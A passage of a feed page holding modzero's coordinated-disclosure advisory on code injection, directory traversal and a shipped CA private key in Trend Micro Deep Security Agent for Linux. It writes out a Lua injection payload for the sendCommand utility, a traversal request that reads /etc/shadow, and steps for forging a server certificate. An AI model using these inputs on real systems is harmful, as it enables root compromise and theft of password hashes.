</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">------------------------------------------------------------------v1-
</span></span><span class="line"><span class="cl">modzero Security Advisory [MZ-21-02]:
</span></span><span class="line"><span class="cl">Critical Vulnerabilities in Trend Micro Deep Security Agent for Linux
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2021-09-07: Initial contact, PGP key exchange, Advisory (draft)
</span></span><span class="line"><span class="cl">              along with fully working exploits written in Python
</span></span><span class="line"><span class="cl">              submitted.
</span></span><span class="line"><span class="cl">* 2021-09-08: Received a (probably automated) plaintext reply full-
</span></span><span class="line"><span class="cl">              quoting the previously PGP-encrypted initial email.
</span></span><span class="line"><span class="cl">* 2021-09-15: Asked for status update and the usage of PGP.
</span></span><span class="line"><span class="cl">* 2021-09-18: Received confirmation for the observed behavior.
</span></span><span class="line"><span class="cl">* 2021-09-22: Trend Micro shared a status update: They are working on
</span></span><span class="line"><span class="cl">              a fix, ETA is end of October 2021.
</span></span><span class="line"><span class="cl">* 2021-09-23: Asked for a CVE number.
</span></span><span class="line"><span class="cl">* 2021-09-27: Received confirmation that vulnerabilities are valid.
</span></span><span class="line"><span class="cl">              Assignment of CVE would depend on fix to be released.
</span></span><span class="line"><span class="cl">* 2021-10-12: Received a test build, that supposedly fixes code
</span></span><span class="line"><span class="cl">              injection and directory traversal issues.
</span></span><span class="line"><span class="cl">* 2022-01-12: Assignment of CVE numbers: CVE-2022-23119,
</span></span><span class="line"><span class="cl">              CVE-2022-23120
</span></span><span class="line"><span class="cl">* 2022-01-19: Public release
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Trend Micro
</span></span><span class="line"><span class="cl">Homepage: https://www.trendmicro.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Products known to be affected:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- Deep Security Agent 20.0.0-2740 for Ubuntu
</span></span><span class="line"><span class="cl">- Deep Security Agent 20.0.0-2921 for Ubuntu
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro Deep Security Agent is an agent software for different
</span></span><span class="line"><span class="cl">operating  systems, that  connects with a server  software to  perform
</span></span><span class="line"><span class="cl">tasks related to virus protection.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro Deep Security software suite consists of server and a
</span></span><span class="line"><span class="cl">client (agent) component. After an initial configuration (activation),
</span></span><span class="line"><span class="cl">the clients are managed by the server.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Once installed as instructed by the vendor, the Trend  Micro Deep
</span></span><span class="line"><span class="cl">Security  agent is  running as  root user. A  compromise of the agent
</span></span><span class="line"><span class="cl">results in high privileges on the system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If left   unconfigured,  a  machine with  the  Deep  Security   agent
</span></span><span class="line"><span class="cl">installed is vulnerable to a privilege escalation attack, that allows
</span></span><span class="line"><span class="cl">a local attacker to run arbitrary code as root. This is due to a code
</span></span><span class="line"><span class="cl">injection vulnerability in the `ActivateAgent` command, which is sent
</span></span><span class="line"><span class="cl">by the server.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An addition directory  traversal vulnerability in the `GetCopiedFile`
</span></span><span class="line"><span class="cl">command allows a remote attacker to read arbitrary files from the
</span></span><span class="line"><span class="cl">filesystem.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  Trend Micro  Deep  Security  agent  software  is  shipped   with
</span></span><span class="line"><span class="cl">hardcoded credentials such as private key material.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.1. Local Privilege Escalation
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro  Deep Security  Agent does  not perform  proper input
</span></span><span class="line"><span class="cl">sanitization,  which allows a local  unprivileged  attacker to inject
</span></span><span class="line"><span class="cl">and run code as `root` user.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The `ActivateAgent`  remote procedure call can  be used to inject lua
</span></span><span class="line"><span class="cl">code as can be seen in the disassembly:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 1 ----
</span></span><span class="line"><span class="cl">local Activate = function(self)
</span></span><span class="line"><span class="cl">  self.connectionHandler.dom:SetNil(self.activationLogSetting)
</span></span><span class="line"><span class="cl">  self.connectionHandler.dom:SetNil(self.activationCodeSetting)
</span></span><span class="line"><span class="cl">  cb:Invoke(CALLBACKS.PreThreadCreate, self)
</span></span><span class="line"><span class="cl">  if not self.activationThread then
</span></span><span class="line"><span class="cl">    local codeToRun = self.codeToRunFmt:format(dsa.DomString(self.connectionHandler.dom:Get(&#34;uuid&#34;)), self.url, self.activationLogSetting, self.activationCodeSetting)
</span></span><span class="line"><span class="cl">    dsa.LogTrace(_NAME, &#34;Starting thread to execute: %s&#34;, codeToRun)
</span></span><span class="line"><span class="cl">    self.activationThread = Thread(codeToRun, &#34;ActivateThread&#34;, self.connectionHandler.dom)
</span></span><span class="line"><span class="cl">  end
</span></span><span class="line"><span class="cl">---- /listing 1 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  variable `self.url`  is  an  attacker controlled  input (via the
</span></span><span class="line"><span class="cl">`host` HTTP-GET parameter), thus `codeToRun` is attacker controlled.
</span></span><span class="line"><span class="cl">In line 8 of listing 2 that code is executed.
</span></span><span class="line"><span class="cl">An  example  request  sent  with the  `sendCommand` utility, that  is
</span></span><span class="line"><span class="cl">shipped with the agent software looks like this:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 2 ----
</span></span><span class="line"><span class="cl">./sendCommand --get &#39;ActivateAgent&#39; &#39;host=&#34;,&#34;&#34;,&#34;&#34;);print(&#34;PoC&#34;);aia=Activate(&#34;http&#39;
</span></span><span class="line"><span class="cl">---- /listing 2 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the log file, the debug message from line 7 is visible:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 3 ----
</span></span><span class="line"><span class="cl">2021-08-26 07:30:48.518144 [-0800]: [dsa.Command.ActivateAgent/5] | Starting thread to execute: local Activate = require &#34;dsa.Activate&#34;; local aia = Activate(nil, &#34;https://&#34;,&#34;&#34;,&#34;&#34;);print(&#34;PoC&#34;);aia=Activate(&#34;http:4120/&#34;, &#34;dsa.Activate.logData&#34;, &#34;dsa.Activate.statusCode&#34;); aia:main(); | dsa/Command/ActivateAgent.lua:34:(null) | 792:7FB6077FF640:ConnectionHandlerPool_0004
</span></span><span class="line"><span class="cl">---- /listing 3 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The `print(&#34;PoC&#34;)` command has been successfully injected into
</span></span><span class="line"><span class="cl">`codeToRun`, which is then run, as can be seen in the next line
</span></span><span class="line"><span class="cl">from the log file:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 4 ----
</span></span><span class="line"><span class="cl">2021-08-26 07:30:48.598320 [-0800]: [Message/3] | PoC | [string &#34;dsa&#34;]:1:(null) | 792:7FB606CFF640:ActivateThread
</span></span><span class="line"><span class="cl">---- /listing 4 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">A more sophisticated PoC that runs the shell code `whoami &gt; /poc` is
</span></span><span class="line"><span class="cl">provided in the &#39;Exploits&#39; section.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.2. Arbitrary File Read / Directory Traversal
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro  Deep Security  Agent does  not perform  proper input
</span></span><span class="line"><span class="cl">validation and concatenates  attacker controlled  input to a filepath
</span></span><span class="line"><span class="cl">as shown in the lua disassembly:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 5 ----
</span></span><span class="line"><span class="cl"> if dsa.OS == &#34;Linux&#34; then
</span></span><span class="line"><span class="cl">    if connectionHandler.dom:Get(&#34;dsa.mode.vmsafeGuest&#34;) then
</span></span><span class="line"><span class="cl">      fname = plpath.join(workDir, &#34;CopyFiles/copied/&#34; .. queryArgs.taskname .. &#34;/&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">    else
</span></span><span class="line"><span class="cl">      fname = plpath.join(workDir, &#34;guests/0000-0000-0000/CopyFiles/copied/&#34; .. queryArgs.taskname .. &#34;/&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">    end
</span></span><span class="line"><span class="cl">  else
</span></span><span class="line"><span class="cl">    fname = plpath.join(workDir, &#34;dsa_core\\CopyFiles\\copied\\&#34; .. queryArgs.taskname .. &#34;\\&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">  end
</span></span><span class="line"><span class="cl">---- /listing 5 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Both   `queryArgs.taskname`  and   `queryArgs.fileid`  are   attacker
</span></span><span class="line"><span class="cl">controlled HTTP GET parameters.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An example request to get the `/etc/shadow` file with password hashes
</span></span><span class="line"><span class="cl">would look like this:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">`GET https://10.0.0.2:4118/GetCopiedFile?taskname=.&amp;fileid=../../../../../../../etc/shadow`
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the agent is  left unconfigured  (has not been  &#39;activated&#39; by the
</span></span><span class="line"><span class="cl">server component)  or the server has  been compromised,  the agent is
</span></span><span class="line"><span class="cl">vulnerable to such an attack.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.3. Default CA is shipped with a private key
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend  Micro Deep  Security Agent  authenticates  remote  servers
</span></span><span class="line"><span class="cl">using mutual TLS (mTLS): Both the  server and the agent identify each
</span></span><span class="line"><span class="cl">other by presenting a certificate.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The agent software ships  with a hardcoded  default X.509 certificate
</span></span><span class="line"><span class="cl">and a  corresponding  private  key.  Until the  agent is   configured
</span></span><span class="line"><span class="cl">(&#39;activated&#39;)  by the server  component this  certificate  is used in
</span></span><span class="line"><span class="cl">communications with the server. It is stored in the shared object file
</span></span><span class="line"><span class="cl">/opt/ds_agent/lib/dsa_core.so
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The agent software uses a certificate authority (CA) to establish the
</span></span><span class="line"><span class="cl">server&#39;s  identity.  When  the  server  connects to  the  agent,  its
</span></span><span class="line"><span class="cl">certificate is validated against this CA.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">However, the  agent uses its  own certificate  also as a  CA. As this
</span></span><span class="line"><span class="cl">certificate ships with a private key it is possible for an attcker to
</span></span><span class="line"><span class="cl">create and sign their own server certificate, imitate a server and to
</span></span><span class="line"><span class="cl">send commands to the client software.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Thus an attacker can:
</span></span><span class="line"><span class="cl">  * extract the CA (certificate + private key) from the agent software
</span></span><span class="line"><span class="cl">  * generate their own certificate + key
</span></span><span class="line"><span class="cl">  * sign their certificate with the CA taken from the agent software
</span></span><span class="line"><span class="cl">  * use it for further communication with the agent
</span></span><span class="line"><span class="cl">  * configure their own certificate in the agent and &#39;activate&#39; it
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The identified vulnerabilities in the Trend Micro Deep Security Agent
</span></span><span class="line"><span class="cl">software result in local privilege escalation and arbitrary remote
</span></span><span class="line"><span class="cl">file reads.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">5. Prerequisites
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For an attacker  to suceed  with a privilege  escalation  attack, the
</span></span><span class="line"><span class="cl">agent has to  be left unconfigured  (not  &#39;activated&#39;) or  the server
</span></span><span class="line"><span class="cl">component has to be compromised.  Furthermore local code execution or
</span></span><span class="line"><span class="cl">the ability to originate HTTP requests  from localhost (e.g. SSRF) is
</span></span><span class="line"><span class="cl">required.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For an attacker  to succeed  with a directory  traversal  attack, the
</span></span><span class="line"><span class="cl">agent has to  be left unconfigured  (not  &#39;activated&#39;) or  the server
</span></span><span class="line"><span class="cl">component has to  be compromised.  Furthermore network  access to the
</span></span><span class="line"><span class="cl">agent software is required.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">6. Exploits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">All PoC exploits, tools  and additional information  are available on
</span></span><span class="line"><span class="cl">Github: https://github.com/modzero/MZ-21-02-Trendmicro
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2021-10-12: The vendor supplied a test build that supposedly fixes
</span></span><span class="line"><span class="cl">              the directory traversal and the local privilege
</span></span><span class="line"><span class="cl">              escalation.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  * Fluepke (Carl Fabian Luepke) of modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent  Swiss-German  company  modzero assists  clients with
</span></span><span class="line"><span class="cl">security analysis  in the complex  areas of computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies on  highly  detailed  technical  analysis  of   concepts,
</span></span><span class="line"><span class="cl">software  and  hardware  components as  well as  the  development  of
</span></span><span class="line"><span class="cl">individual  solutions.  Colleagues  at  modzero work  exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and can draw on
</span></span><span class="line"><span class="cl">decades of  experience  in various  platforms,  system concepts,  and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero follows coordinated disclosure practices described here:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This policy  should  have been  sent to  the vendor  along with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information  in the advisory  is believed  to be accurate  at the
</span></span><span class="line"><span class="cl">time of publishing based  on currently available  information. Use of
</span></span><span class="line"><span class="cl">the information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no  warranties  concerning  this  information. Neither  the
</span></span><span class="line"><span class="cl">author  nor the  publisher  accepts  any liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect, or  consequential  loss or  damage  arising from  using, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-20-03] Deserialization in the .Net runtime</title><link>https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/</link><pubDate>Tue, 16 Jun 2020 00:00:00 +0200</pubDate><author>Nils Ole Timm</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/</guid><description>Multiple deserialization vulnerabilities in the .Net runtime</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
